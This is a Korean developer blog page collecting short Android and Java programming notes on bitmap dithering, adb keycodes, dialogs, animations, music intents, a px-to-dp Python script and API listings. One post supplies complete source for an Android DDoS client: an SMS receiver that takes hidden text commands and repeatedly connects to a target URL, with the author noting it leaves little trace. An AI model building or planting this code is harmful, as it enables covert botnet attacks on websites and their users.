1bit bitmap  만들기 


 


: 관련자료를 찾으니 막상 없고 android 관련 소스만 잔뜩 어차피 기본은 같으니까 아래와 같이 수정하면 됩니다. 단 아래소스로 1비트 비트맵을 다시 프로세싱 하게 되면 검은 이미지가 나온다 그거에 대한 예외처리는 하지 않았다. 


[관련 자료찾다보면 jAI 라이브러리를 많이 볼 수있다. 하지만 막상 1비트 이미지를 만들려고 하면 라이브러리 답게 편한 방식을 제공하는 것 같지는 않다]


아래 소스는 특별한 거는 없다 어느정도 이상의 값이면 값을 바꿔라 정도????


android 관련 1bit bitmap 만드는 부분은 옆에 링크에서 확인할 수 있다 바로가기

(위 링크는 이미지 사이즈가 고정이다.) 

import java.awt.image.BufferedImage;
import java.awt.image.WritableRaster;
import java.io.File;
import java.io.IOException;

import javax.imageio.ImageIO;

public class TestBmp{

	/**
	 * @param args
	 */
	public static void main(String[] args) {
		
		
		System.out.print("start");
		 try {
			BufferedImage buffer = ImageIO.read(new File("c://aa.jpg"));
			BufferedImage image=  processImage(buffer);
			
			
			
			File outputStream = new File("aa.bmp");
			String imageType = "BMP";
			try {
				ImageIO.write(image, imageType, outputStream);
			} catch (IOException e) {
				// TODO Auto-generated catch block
				e.printStackTrace();
			}
			
			
		} catch (IOException e1) {
			// TODO Auto-generated catch block
			e1.printStackTrace();
		}
		// TODO Auto-generated method stub
		
		 System.out.print("end");

	}

	public static BufferedImage processImage(BufferedImage inputImage) {

		// Create a binary image for the results of processing

		int w = inputImage.getWidth();
		int h = inputImage.getHeight();
		BufferedImage outputImage = new BufferedImage(w, h,
				BufferedImage.TYPE_BYTE_BINARY);

		// Work on a copy of input image because it is modified by diffusion

		WritableRaster input = inputImage.copyData(null);
		WritableRaster output = outputImage.getRaster();

		final int threshold = 128;
		float value, error;

		for (int y = 0; y < h; ++y)
			for (int x = 0; x < w; ++x) {

				value = input.getSample(x, y, 0);

				// Threshold value and compute error

				if (value < threshold) {
					output.setSample(x, y, 0, 0);
					error = value;
				} else {
					output.setSample(x, y, 0, 1);
					error = value - 255;
				}

				// Spread error amongst neighbouring pixels

				if ((x > 0) && (y > 0) && (x < (w - 1)) && (y < (h - 1))) {
					value = input.getSample(x + 1, y, 0);
					input.setSample(x + 1, y, 0, clamp(value + 0.4375f * error));
					value = input.getSample(x - 1, y + 1, 0);
					input.setSample(x - 1, y + 1, 0, clamp(value + 0.1875f
							* error));
					value = input.getSample(x, y + 1, 0);
					input.setSample(x, y + 1, 0, clamp(value + 0.3125f * error));
					value = input.getSample(x + 1, y + 1, 0);
					input.setSample(x + 1, y + 1, 0, clamp(value + 0.0625f
							* error));
				}

			}
		return outputImage;

	}

	// Forces a value to a 0-255 integer range

	public static int clamp(float value) {
		return Math.min(Math.max(Math.round(value), 0), 255);
	}

}


저작자 표시 비영리
신고
posted by 몰라용

안드로이드 분야 구글알리미 정리(12.3~12.7)



한주간의 구글 알리마 (안드로이드)쪽을 정리한 것입니다.

거의 혼자 개발 모드로 들어가서 정보를 얻을때가 따로 없어서 정리를 시작해야겠네요

아래 순위는 중요도 순위도가아니라 날짜로 정리한 것입니다. 


1.노키아 안드로이드폰 준비 소문

 - 리눅스 운영체제 전문가를 영입한다는 광고에서부터 발생한 소문이다.

    관련 주소: 바로가기 


2. 2016년에도 안드로이드os 63.8%의 점유율로 다른  os를 압도할것이다.

   관련 주소: 바로가기 


3. 기아쏘울 후속, 안드로이드 탑재하고 내년 8월 출시

   - 차에도 안드로이드가....

   관련주소 : 바로가기 


4. 올해 판매 스마트폰 3대중 2대는 안드로이드폰

  관련 주소: 바로가기



5. 안드로이드 마켓 추천 이미지 가이드라인

  관련 주소: 바로가기 


6. 안드로이드 애플리케이션 마켓 '구글 플레이' 일본 매출이 앞서...

- 일본내에 유료모델이 다른 나라에 비해 잘나간다고는 들었지만 이정도일줄은 몰랐네요

 관련주소:  바로가기


저작자 표시 비영리
신고
posted by 몰라용

 Locale[] localeA = Locale.getAvailableLocales();

                boolean haveLang = false;

                

                

                

                

                

                

                for (int i = 0; i < localeA.length; i++) {

                    

                    if (localeA[i].getCountry().equals(mIsoCode[position])) {

                        haveLang = true;

                        mLangCode = localeA[i].getLanguage() + "_" + mIsoCode[position];

                        mEmptyTextView.setText(getEmptyTextRes(localeA[i]));

                        break;

                    }

                }




   함수 부분:

    private String getEmptyTextRes(Locale locale){

        

        Resources standardResources = getApplicationContext().getResources();

        AssetManager assets = standardResources.getAssets();

        DisplayMetrics metrics = standardResources.getDisplayMetrics();

        Configuration config = new Configuration(standardResources.getConfiguration());

        config.locale = locale;

        Resources defaultResources = new Resources(assets, metrics, config);

        

        

        return defaultResources.getString(R.string.xxxxxx);

        

    }





*************위의 부분은 못 얻어오는 로케일 리스트가 있어서 새로운 방법을 찾았다*****************

 DisplayMetrics metrics = new DisplayMetrics();
    getWindowManager
().getDefaultDisplay().getMetrics(metrics);
   
Resources r = getResources();
   
Configuration c = r.getConfiguration();
   
String[] loc = r.getAssets().getLocales();
   
for (int i = 0; i < loc.length; i++) {
       
Log.d("LOCALE", i + ": " + loc[i]);

        c
.locale = new Locale(loc[i]);
       
Resources res = new Resources(getAssets(), metrics, c);
       
String s1 = res.getString(R.string.hello_world);

        c
.locale = new Locale("");
       
Resources res2 = new Resources(getAssets(), metrics, c);
       
String s2 = res2.getString(R.string.hello_world);

       
if(!s1.equals(s2)){
           
Log.d("DIFFERENT LOCALE", i + ": "+ s1+" "+s2 +" "+ loc[i]);
       
}
   
}


저작자 표시 비영리
신고
posted by 몰라용

    You can use key codes directly like 
    adb shell input keyevent 7    # for key '0' 
    adb shell input keyevent 8    # for key '1' 
    adb shell input keyevent 29    # for key 'A' 
    adb shell input keyevent 54    # for key 'B' 
we can also send string as a text, like 
    adb shell input text "ANDROID" 

The below text is the whole list of all keyevent names with their 
respective codes numbers... 

0 -->  "KEYCODE_UNKNOWN" 
1 -->  "KEYCODE_MENU" 
2 -->  "KEYCODE_SOFT_RIGHT" 
3 -->  "KEYCODE_HOME" 
4 -->  "KEYCODE_BACK" 
5 -->  "KEYCODE_CALL" 
6 -->  "KEYCODE_ENDCALL" 
7 -->  "KEYCODE_0" 
8 -->  "KEYCODE_1" 
9 -->  "KEYCODE_2" 
10 -->  "KEYCODE_3" 
11 -->  "KEYCODE_4" 
12 -->  "KEYCODE_5" 
13 -->  "KEYCODE_6" 
14 -->  "KEYCODE_7" 
15 -->  "KEYCODE_8" 
16 -->  "KEYCODE_9" 
17 -->  "KEYCODE_STAR" 
18 -->  "KEYCODE_POUND" 
19 -->  "KEYCODE_DPAD_UP" 
20 -->  "KEYCODE_DPAD_DOWN" 
21 -->  "KEYCODE_DPAD_LEFT" 
22 -->  "KEYCODE_DPAD_RIGHT" 
23 -->  "KEYCODE_DPAD_CENTER" 
24 -->  "KEYCODE_VOLUME_UP" 
25 -->  "KEYCODE_VOLUME_DOWN" 
26 -->  "KEYCODE_POWER" 
27 -->  "KEYCODE_CAMERA" 
28 -->  "KEYCODE_CLEAR" 
29 -->  "KEYCODE_A" 
30 -->  "KEYCODE_B" 
31 -->  "KEYCODE_C" 
32 -->  "KEYCODE_D" 
33 -->  "KEYCODE_E" 
34 -->  "KEYCODE_F" 
35 -->  "KEYCODE_G" 
36 -->  "KEYCODE_H" 
37 -->  "KEYCODE_I" 
38 -->  "KEYCODE_J" 
39 -->  "KEYCODE_K" 
40 -->  "KEYCODE_L" 
41 -->  "KEYCODE_M" 
42 -->  "KEYCODE_N" 
43 -->  "KEYCODE_O" 
44 -->  "KEYCODE_P" 
45 -->  "KEYCODE_Q" 
46 -->  "KEYCODE_R" 
47 -->  "KEYCODE_S" 
48 -->  "KEYCODE_T" 
49 -->  "KEYCODE_U" 
50 -->  "KEYCODE_V" 
51 -->  "KEYCODE_W" 
52 -->  "KEYCODE_X" 
53 -->  "KEYCODE_Y" 
54 -->  "KEYCODE_Z" 
55 -->  "KEYCODE_COMMA" 
56 -->  "KEYCODE_PERIOD" 
57 -->  "KEYCODE_ALT_LEFT" 
58 -->  "KEYCODE_ALT_RIGHT" 
59 -->  "KEYCODE_SHIFT_LEFT" 
60 -->  "KEYCODE_SHIFT_RIGHT" 
61 -->  "KEYCODE_TAB" 
62 -->  "KEYCODE_SPACE" 
63 -->  "KEYCODE_SYM" 
64 -->  "KEYCODE_EXPLORER" 
65 -->  "KEYCODE_ENVELOPE" 
66 -->  "KEYCODE_ENTER" 
67 -->  "KEYCODE_DEL" 
68 -->  "KEYCODE_GRAVE" 
69 -->  "KEYCODE_MINUS" 
70 -->  "KEYCODE_EQUALS" 
71 -->  "KEYCODE_LEFT_BRACKET" 
72 -->  "KEYCODE_RIGHT_BRACKET" 
73 -->  "KEYCODE_BACKSLASH" 
74 -->  "KEYCODE_SEMICOLON" 
75 -->  "KEYCODE_APOSTROPHE" 
76 -->  "KEYCODE_SLASH" 
77 -->  "KEYCODE_AT" 
78 -->  "KEYCODE_NUM" 
79 -->  "KEYCODE_HEADSETHOOK" 
80 -->  "KEYCODE_FOCUS" 
81 -->  "KEYCODE_PLUS" 
82 -->  "KEYCODE_MENU" 
83 -->  "KEYCODE_NOTIFICATION" 
84 -->  "KEYCODE_SEARCH" 
85 -->  "TAG_LAST_KEYCODE" 

저작자 표시 비영리
신고
posted by 몰라용

변수명...생각할때마다 오래 걸린다....몇년동안 변수명을 지워왔지만...................



모..르..겠...다.....뛰어넘어야해..ㅜㅠ

저작자 표시 비영리
신고
posted by 몰라용


금일 작업  activity 순서 재조정 


intent.setFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT);




gps관련(전력을 낮추지 말자) 

Criteria criteria = new Criteria();

        criteria.setAccuracy(Criteria.NO_REQUIREMENT);

        criteria.setAltitudeRequired(false);

        criteria.setBearingRequired(false);

        criteria.setCostAllowed(true);

        criteria.setPowerRequirement(Criteria.NO_REQUIREMENT);

저작자 표시 비영리
신고
posted by 몰라용

listview에 커스텀뷰들로 textview계열을 넣을시 marquee가 안될때...가장 간단한 방법은


custom textview를 만들어서 onlayout에서 setselected(true)로 레이아웃사이즈가 확정된 후 설정을 적용해주어야한다.



저작자 표시 비영리
신고
posted by 몰라용

8-19


이코드 찾느라 예전에 한참 걸렸다...~~~ ㅜㅠ

자동적으로 사이즈를 조정해준다 (팝업이나 ~~등등에서 edittext사용시)

getWindow().setSoftInputMode(android.view.WindowManager.LayoutParams.SOFT_INPUT_ADJUST_RESIZE);




재생중인음악을 pause되있을때 다시 실행하라는 인텐트

Intent i = new Intent("com.android.music.musicservicecommand");

            i.putExtra("command", "togglepause");

            mContext.sendBroadcast(i);


재생중인 음악을 pause시키라는 인텐트

 Intent i = new Intent( "com.android.music.musicservicecommand" );

        i.putExtra( "command" , "pause");

        mContext.sendBroadcast(i);

저작자 표시 비영리
신고
posted by 몰라용

1. alertdialog를 사용하다보면 리스트를 누를 시 무조건 dialog가 dismiss 되는 현상이 있다.


   이 부분을 수정하기위해서는  alertDialog의 adpater로 들어가는 child부분에서


   클릭 이벤트를 대신 처리해주면 된다. 



ps.

1.하이어라키 잘보자...맨날 보기 귀찮아서 안보는데..ㅜㅠ 


2.코딩 머리로 하자... 손 말고

저작자 표시 비영리
신고
posted by 몰라용

-ObjectAnimator삽질 결과-


target의 상태는 gone으로 하지말고 invisible에서 시작할 것(gone에서 translate할 시 좌표값이 틀어 질 수 있음)




<set >

<objectAnimator

   xmlns:android="http://schemas.android.com/apk/res/android"    

   android:valueFrom ="-1123"

   android:valueTo="6"

   android:propertyName="x"

        android:duration="700"

        android:startOffset="195"

   />

<objectAnimator

   xmlns:android="http://schemas.android.com/apk/res/android"    

   android:valueFrom ="315"

   android:valueTo="114"

   android:propertyName="y"

        android:duration="700"

        android:startOffset="195"

   />

<objectAnimator

   xmlns:android="http://schemas.android.com/apk/res/android"    

       android:valueFrom="-10"

       android:valueTo="-6"

       android:pivotX="0%"

       android:pivotY="100%"

       android:propertyName="rotation"

        android:duration="700"

        android:startOffset="195"

        />

</set>


 위와 같이 여러개 선언 시 아래와 같이 하나 하나 start를 달아주어야 함

for(Animator animator:animatorSet.getChildAnimations()){

            if(animator == animatorSet.getChildAnimations().get(0)){

                //listener가 달린 경우만 적용하기 위해서 nullpoint 체크

                try{

                    final AnimatorListener listener = (AnimatorListener) animatorSet.getListeners().get(0);

                    animator.addListener(new AnimatorListener() {

                        

                        @Override

                        public void onAnimationStart(Animator arg0) {

                            

                            listener.onAnimationStart(arg0);

                        }

                        

                        @Override

                        public void onAnimationRepeat(Animator arg0) {

                            listener.onAnimationRepeat(arg0);

                        }

                        

                        @Override

                        public void onAnimationEnd(Animator arg0) {

                            listener.onAnimationEnd(arg0);

                        }

                        

                        @Override

                        public void onAnimationCancel(Animator arg0) {

                            listener.onAnimationCancel(arg0);

                        }

                    });

                }catch(NullPointerException e){

                }

            }

            animator.start();

        }



*ObjectAnimator 사용시 rotation관련 pivot설정은 view에 layout에서 정의하고 사용하여야한다

저작자 표시 비영리
신고
posted by 몰라용

html5웹을 만들려다가 먼저 android로구현해 봐야겠다는 생각해 구현 한 게임입니다.

타당한 이유 공부 등에 사용하시겠다는 목적을 가지신 분에 한해서 소스를 공유해 드립니다.

맨날 유틸 앱만 만들다가 게임을 구현해봤는데 잼있네요~~~~~~~



장르 : 게임

제목: 지구를 지켜라

종류 : 안드로이드 용 게임


제작기간: 2주


마켓 링크:

https://play.google.com/store/apps/details?id=com.park.game&feature=search_result#?t=W251bGwsMSwxLDEsImNvbS5wYXJrLmdhbWUiXQ..








andengine에 소개한 글 : http://www.andengine.org/forums/project-development-blogs/to-save-the-earth-t7691.html

androidpub에 소개한 글: http://www.androidpub.com/2110046

티스토어 무료판매 페이지: http://www.tstore.co.kr/userpoc/game/viewProduct.omp?insDpCatNo=DP01003&insProdId=0000284092&prodGrdCd=PD004401&t_top=DP000501

저작자 표시 비영리
신고
posted by 몰라용

간단하게 쓰기 좋은 ProgressDialog입니다.  
가볍게 함수만 호출해서 쓰시면 됩니다.  

 
private ProgressDialog loadingProgressDialog = null;
protected Dialog showLoadingProgressDialog() {
        try{
            if (loadingProgressDialog == null) {
                loadingProgressDialog = new ProgressDialog(this);
                loadingProgressDialog.setMessage("test");
                loadingProgressDialog.setIndeterminate(true);
                loadingProgressDialog.setCancelable(false);
            }
            
            if (!loadingProgressDialog.isShowing()) {
                loadingProgressDialog.show();
            }
            
        }catch(Exception e){
            
        }
        
        return loadingProgressDialog;
    }
  
    protected void dismissLoadingProgressDialog() {
        try{
            if (loadingProgressDialog != null) {
                loadingProgressDialog.dismiss();
            }
        }catch(Exception e){
            
        }
    } 



 
       
저작자 표시 비영리
신고
posted by 몰라용
*** Immutable bitmap passed to Canvas  
BitmapDrawable 의 객체를 canvas에서 다시 적용하려면  위와같은 메시지가 뜬다.
그럴때는 아래와 같은 코드로 적용하면 된다


Bitmap bgm = BitmapFactory.decodeResource(getResources(), R.drawable.template_aa).copy(Config.ARGB_8888, true);        
       
       Canvas canvas = new Canvas(bgm);
       canvas.drawBitmap(mCurPageBmp, 0, getResources().getDimension(R.dimen.top), null);
       canvas.save();


bold체로 적용한 부분을 사용하면 된다.  
저작자 표시 비영리
신고
posted by 몰라용
AccountManager manager = (AccountManager) getSystemService(ACCOUNT_SERVICE);
Account[] list = manager.getAccounts();
String gmail = null;

for(Account account: list)
{
   
if(account.type.equalsIgnoreCase("com.google"))
   
{
        gmail
= account.name;
       
break;
   
}
}

<uses-permission android:name="android.permission.GET_ACCOUNTS"></uses-permission>
 
저작자 표시 비영리
신고
posted by 몰라용

* 다이알로그 뜨는 위치 결정

중요한 코드는 아니지만 만들기는 귀찮은코드...이정도 량이면 복사하기도 귀찮은 코드지만 그냥 적어 놓습니다.

public class FreeDialog extends Dialog {

    public FreeDialog(Context context) {
        super(context);       
    }
    
    public void init(){
        getWindow().setBackgroundDrawable(new ColorDrawable(Color.TRANSPARENT));        
    }
    
    public void setLocation(int x, int y){
        LayoutParams params = this.getWindow().getAttributes();
        params.gravity=Gravity.LEFT|Gravity.TOP;
        params.x = x;
        params.y = y;
        this.getWindow().setAttributes(params);
        
    }

}



*다이알로그 dim 없애기
getWindow().clearFlags(WindowManager.LayoutParams.FLAG_DIM_BEHIND);


*모달리스 다이어알로그 만들기
 getWindow().setFlags(LayoutParams.FLAG_NOT_TOUCH_MODAL, LayoutParams.FLAG_NOT_TOUCH_MODAL); 
touch : 누르다, 치다, 접촉하다, 감동시키다, 도달하다
저작자 표시 비영리
신고
posted by 몰라용

어플리케이션에서 재생중인 음악껐다가 다시 app 종료시 음악 재생하는 코드입니다.


 public static final String MUSIC_SERVICE_COMMAND = "com.android.music.musicservicecommand";
 public static final String COMMAND = "command";
 public static final String MUSIC_COMMAND_PAUSE = "pause";
 public static final String MUSIC_COMMAND_PLAY = "play";

 AudioManager manager = (AudioManager)mContext.getSystemService(Context.AUDIO_SERVICE);
 if(manager.isMusicActive()){
      stopOtherMusic();
 }  

public void stopOtherMusic() {
   isTheOtherMusicPlay  = true;
   Intent i = new Intent(MUSIC_SERVICE_COMMAND);
   i.putExtra(COMMAND, MUSIC_COMMAND_PAUSE);
   sendBroadcast(i);
}
public void playOtherMusic() {
        if(!isTheOtherMusicPlay) return;
        
        Intent i = new Intent(MUSIC_SERVICE_COMMAND);
        i.putExtra(COMMAND, MUSIC_COMMAND_PLAY);
        sendBroadcast(i);
        isTheOtherMusicPlay = false;
    }
저작자 표시 비영리
신고
posted by 몰라용

mKeyguardManager = (KeyguardManager) getSystemService(Context.KEYGUARD_SERVICE);

    private synchronized void enableKeyguard() {
        if (mKeyguardLock != null) {
            mKeyguardLock.reenableKeyguard();
            mKeyguardLock = null;
        }
    }
    private synchronized void disableKeyguard() {
        if (mKeyguardLock == null) {
            mKeyguardLock = mKeyguardManager.newKeyguardLock(Log.LOGTAG);
            mKeyguardLock.disableKeyguard();
        }
    }
    
    
참고)    
    KeyguardManager km = (KeyguardManager)this.getSystemService(Activity.KEYGUARD_SERVICE);
    KeyguardManager.KeyguardLock keyLock = km.newKeyguardLock(KEYGUARD_SERVICE);
                       keyLock.disableKeyguard();

저작자 표시 비영리
신고
posted by 몰라용
안드로이드 쪽 

http://www.androidpub.com/1164713

http://developer.android.com/resources/samples/BluetoothChat/index.html 

http://blog.naver.com/free2824/60108857440
 
기타 코멘트
-----------------------------------------------------------------------------------------
예전에 같은 모델로 해봤었는데요...(완전 똑같네요...ㅋㅋ) 우선 안드로이드 소스코드에서 UIDD를 
 private static final UUID MY_UUID = UUID.fromString("00001101-0000-1000-8000-00805F9B34FB");
로 바꿔주시구요.... 그렇게 접속을 하게 된다면 핀코드 4자리 입력하라고 하는데
 FB155BC의 기본 핀코드는 영어거든요... 근데 모바일에선 핀코드를 숫자만 입력할수있으니
미리 모듈에 핀코드 변경 명령을 주셔서 숫자로 바꿔놓으신다음에 하면 문제없이 된답니다 
-----------------------------------------------------------------------------------------

안드로이드 시리얼 통신 속도 : 38400






그 외에:
http://blog.naver.com/npysjoo?Redirect=Log&logNo=60121609547 

 
저작자 표시 비영리
신고
posted by 몰라용

JSON

 프로그램을 짜다가 JSON에 관련된 용어가 자주나와 정리 할겸 작성해본다. 


-작성예제-(위키백과에서)
 {
    "이름": "테스트",
    "나이": 25,
    "성별": "여",
    "기혼": true,
    "주소": "서울특별시 양천구 목동",
    "특기": ["농구", "도술"],
    "가족관계": {"#": 2, "아버지": "홍판서", "어머니": "춘섬"}
    "회사": "경기 안양시 만안구 안양7동"
 }

위의 예제를 보면 JSON의 기본적인 작성 방법을 알 수있다.
그냥 해쉬라고 생각하고 작성하는 편이 좋을 것 같다.

작성방법은  키:value 이런식으로 생각하는 것이 좋겠다.



json에 관련된 자세한 사항은 아래 링크를 참고하기를 바란다.
링크 : http://ko.wikipedia.org/wiki/JSON























 
저작자 표시 비영리
신고
posted by 몰라용
시간이 있어서 만든 Boxing Timer
중요한 것도 포인트를 잡을 만한 소스가 아니다.

단지 어떤 식으로 구현이 가능한가 보여주는 소스 일뿐...
(소스 설명할 부분도 없다..그냥 한번 보면 이해 할 듯....)

현재 다운로드 : 1300돌파
구현 기간: 2~3시간 남짓


1. Chronometer를 사용하였다.(2개)  - 발로 짰다는.....
    - ApiDemo쪽 소스를 보면 Chronometer를 사용하여 Timer를 구현한 소스를 볼 수 있다.
    - Chronometer은 구현은 간단하지만 counter up만 되기 때문에 CountDown을 구현하려면 또 다른 위젯 하나가 더 
       필요하게 된다.





 
저작자 표시 비영리
신고
posted by 몰라용

 며칠 전 안드로이드 소스 하나를 받았다.
 왠 걸...... layout 에 모든 수치 값이.....px로 작성이 되있었다. 해상도를 바꾸는 작업을 해야되는데....일일이 하나 하나
 엑셀에서 수정하면서 고치고있는데....팀장님이....perl 스크립트로 ..짜서 한방에 폴더안에 있는 layout파일에 px값을 dp로
 바꾸어 주셨다.

 그래서... 살짝......죄송스럽지만...자존심에 ..타격이..ㅜㅜ(내가 프로그래머일까..라는 생각을 하면서..ㅋㅋ)
 그래서 perl 이 아닌 python으로 새로 구현해 보았다.(팀장님이 작성하신 소스에 4배 길이는 되지만......)
 아래 파일을 돌리시면 된다.(경로를 인자값으로 넘겨서) 


#description : change 'px||pt' to 'dp'
import os
import re

def search(dirname):
	flist = os.listdir(dirname)
	for f in flist:
		next = os.path.join(dirname, f)
		if os.path.isdir(next):
			search(next)
		else:
			doFileWork(next)
			
def doFileWork(filename):
	ext = os.path.splitext(filename)[-1]
	if ext != '.xml': return
	f = open(filename,"r")
	before = f.read()
	f.close
	
	preStr = "\\d+px"
	preStr2 = "\\d+pt"
	
	tmpList = re.findall(preStr,before)
	tmpList2 = re.findall(preStr2,before)
		
	match = tmpList + tmpList2
	
	aftermatch = match[:]
	
	for m in range(len(aftermatch)):
		aftermatch[m] = str(int(aftermatch[m][:-2])*2/3) + "dp"
		
	for m in range(len(aftermatch)):
		before= before.replace(match[m],aftermatch[m])
		#print match[m]
		#print aftermatch[m]	
		
	f = open(filename, "w")
	f.write(before)
	f.close()		

#ex:	
search("C:/temp/temp")

저작자 표시 비영리
신고
posted by 몰라용
최근 뉴스에서 농협사태 등등 여러가지 DDos관련 뉴스가 많이 나오고있다.
아직까지...DDos관련 큰 사고는 우리가 쓰는 데스크탑이나 노트북 등을  좀비 PC를 이용하는 방법이였다.

하지만 만약 좀비 PC가 아닌 좀비 핸드폰(스마트폰) 을 이용한다면???  
컴퓨터는 가정에 하나씩이지만..핸드폰은 몇대씩 가지고있는 이 시대에...사고는 더 커질 수 있다.

그런 차원에서...........스마트폰(안드로이드) Ddos샘플 코드를 만들어보았다.
원래는 ICMP를 이용해서 만들려고했지만...그 명령을 사용할려면 스마트폰을 루팅해서 사용해야 함으로...그냥 TCP쪽을
사용해서 구현하였다.

<코드의 특성 - 아래 첨부>
1. 문자로 Ddos명령을 내릴 수 있다. 기존에 코드들은 서버컴퓨터에서 명령을 내리기 때문에....허접한..프로그래머들이
   공격할 시에는 ip나 기타 등등이 남을 수 있지만 .. 이 코드는 서버같은 것은 필요없고..문자 웹사이트등을 이용해서    
   보내게 되면 거의 흔적이 남지 않는다.

2. 문자 명령 샘플
   ex:)  1////http://www.naver.com

3. manifest에 퍼미션이 설정되어있어야 됩니다.
   <uses-permission android:name="android.permission.INTERNET" />
   <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
   <uses-permission android:name="android.permission.RECEIVE_SMS"/>

4. manifest에 리시버 설정
<receiver android:name=".receiver.SMSReceiver">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>

package com.park.ddosclient.receiver;

import java.io.*;
import java.net.*;
import java.text.*;
import java.util.*;

import android.content.*;
import android.os.*;
import android.telephony.*;
import android.util.*;

public class SMSReceiver extends BroadcastReceiver {

    static final String TAG = "SMSRecevier";
    static final String ACTION = "android.provider.Telephony.SMS_RECEIVED";
    static final int ORDERSTOP = 0;
    static final int ORDERATTACK = 1;
    static final int ORDERAVAILABLEMOBILE = 2;   
    
    @Override
    public void onReceive(Context context, Intent intent) {
        if(intent.getAction().equals(ACTION)){
            Bundle bundle = intent.getExtras();
            if(bundle == null) return ;
            
            Object[] tmpobject = (Object[])bundle.get("pdus");
            
            if(tmpobject == null) return ;
            
            SmsMessage[] smsMessages = new SmsMessage[tmpobject.length];            
            
            for(int i=0; i<tmpobject.length; i++){
                smsMessages[i] = SmsMessage.createFromPdu((byte[]) tmpobject[i]);
                
                //특정 번호에만 반응하도록 하는 옵션
                if(smsMessages[i].getEmailFrom() != null 
                        && smsMessages[i].getEmailFrom().equals(availableNumber())){                    
                }
                //메시지 내용 분활
                if(smsMessages[i].getMessageBody() != null){
                    String[] result = smsMessages[i].getMessageBody().toString().split("////");
                    int order = Integer.parseInt(result[0]);
                    String hostName = result[1];
                    Log.i("@@@@1","ss = " + order);
                    Log.i("@@@@",hostName);
                    //setOrder(order,hostName);                    
                    setOrder(order,hostName);
                }              
            }            
        }        
    } 
    
    public String availableNumber(){
        
        String str = "010";
        
        SimpleDateFormat formatter = new SimpleDateFormat ( "yyyyMMdd", Locale.KOREA );
        long lTime= System.currentTimeMillis();
        Date date = new Date(lTime);
        
        str = str + formatter.format(date);
                
        return str;
    }
    
    private Handler mHandler;
    private URL mUrl;
    private HttpURLConnection mHttpURLConnection;
    private boolean mIsConnection;
    private String mHost;
    
    
    Runnable mRunnable = new Runnable() {        
        @Override
        public void run() {       
            try {                
                mHttpURLConnection.connect();                
                mHandler.postDelayed(mRunnable, 6000);
                
            } catch (MalformedURLException e1) {            
                e1.printStackTrace();
            } catch (IOException e) {            
                e.printStackTrace();
            }            
        }
    };
    
    Runnable mRunnableCount = new Runnable() {        
        @Override
        public void run() {       
            try {                
                mHttpURLConnection.connect();               
            } catch (MalformedURLException e1) {            
                e1.printStackTrace();
            } catch (IOException e) {            
                e.printStackTrace();
            }            
        }
    };
    
    public void setOrder(int order, String hostName){
        if(hostName == null) return ;
        
        switch(order){
            case ORDERSTOP:
                if(mHandler != null ){
                    mHandler.removeCallbacks(mRunnable);                    
                }
                
                break;
            case ORDERATTACK:
                try {
                    mUrl = null;
                    mUrl = new URL(hostName);
                    mHttpURLConnection = (HttpURLConnection) mUrl.openConnection();
                    mHttpURLConnection.setConnectTimeout(5000);                    
                    
                    if(mHandler == null) mHandler = new Handler();
                    mHandler.postDelayed(mRunnable, 3000);
                    
                } catch (MalformedURLException e) {
                    
                    e.printStackTrace();
                } catch (IOException e) {
                    
                    e.printStackTrace();
                }                
                break;
            case ORDERAVAILABLEMOBILE:
                try {
                    mUrl = null;
                    mUrl = new URL(hostName);
                    mHttpURLConnection = (HttpURLConnection) mUrl.openConnection();
                    mHttpURLConnection.setConnectTimeout(5000);           
                    
                    if(mHandler == null) mHandler = new Handler();
                    mHandler.postDelayed(mRunnableCount, 3000);
                    
                } catch (MalformedURLException e) {
                    
                    e.printStackTrace();
                } catch (IOException e) {
                    
                    e.printStackTrace();
                }    
                break;                
        }       
    }
}
 


위와 같은 코드를... 일반 어플리케이션에 마들어서 심게 된다면..정말...큰 일이 발생 될듯 싶다..ㅜㅠ
## 쉬운 코드지만..악용은 안됩니다..ㅜㅠ

 
저작자 표시 비영리
신고
posted by 몰라용

내가 봐야 될 부분이 View관련 부분이라 일단 레벨11에서 추가된 변수 및 함수들을 나열해 보았다.
생각보다 많다...헉...ㅡㅠ

추가된 함수나 변수를 보면 특별한 점은 없나. 앞에 추가된 기능 drag & drop  등등 에 관련된 걸 적용하기 위한 
함수나 변수에 불가하다......~


--Nested classes--
View.DragShadowBuilder  
View.OnDragListener
View.OnLayoutChangeListener
View.OnSystemUiVisibilityChangeListener


--Constants--
LAYER_TYPE_HARDWARE
LAYER_TYPE_NONE
LAYER_TYPE_SOFTWARE
MEASURED_HEIGHT_STATE_SHIFT
MEASURED_SIZE_MASK
MEASURED_STATE_MASK
MEASURED_STATE_TOO_SMALL

SCROLLBAR_POSITION_DEFAULT
SCROLLBAR_POSITION_LEFT
SCROLLBAR_POSITION_RIGHT

STATUS_BAR_HIDDEN
STATUS_BAR_VISIBLE


--Public Methods--
void addOnLayoutChangeListener(View.OnLayoutChangeListener listener)
static int combineMeasuredStates(int curState, int newState)
boolean dispatchDragEvent(DragEvent event)
void dispatchSystemUiVisibilityChanged(int visibility)
float getAlpha()
int getLayerType()
Matrix getMatrix()
final int getMeasuredHeightAndState()
final int getMeasuredState()
final int getMeasuredWidthAndState()
int getNextFocusForwardId()
float getPivotX()
float getPivotY()
float getRotation()
float getRotationX()
float getRotationY()
float getScaleX()
float getScaleY()
int gtSystemUiVisibility()
float getTranslationX()
float getTranslationY()
int getVerticalScrollbarPosition()
float getX()
float getY()
boolean isActivated()
boolean isDirty()
boolean isHardwareAccelerated()
boolean isSaveFromParentEnabled()
void jumpDrawablesToCurrentState()
boolean onDragEvent(DragEvent event)
void removeOnLayoutChangedListener(View.OnLayoutChangeListener listener)
static int resolveSizeAndState(int size, int measureSpec, int childMeasuredState)
void setActivated(boolean activated)
void setAlpha(float alpha)
final void setBottom(int bottom)
void setLayerType(int layerType, Paint paint)
final void setLeft(int left)
void setNextFocusForwardid(int nextFocusForwardid)
void setOnDragListener(View.OnDragListener l)
void setOnSystemUiVisibilityChangeListener(View.OnSystemUiVisibilityChangeListener l)
void setPivotX(float pivotX)
void setPivotY(float pivotY)
final void setRight(int right)
void setRotation(float rotation)
void setRotationX(float rotationX)
void setRotationY(float rotationY)
void setSaveFromParentEnabled(boolean enabled)
void setScaleX(float scaleX)
void setScaleY(float scaleY)
void setSystemUiVisibility(int visibility)
final void setTop(int top)
void setTranslationX(float translationX)
void setTranslationY(float translationY)
void setVerticalScrollbarPosition(int position)
void setX(float x)
void setY(float y)
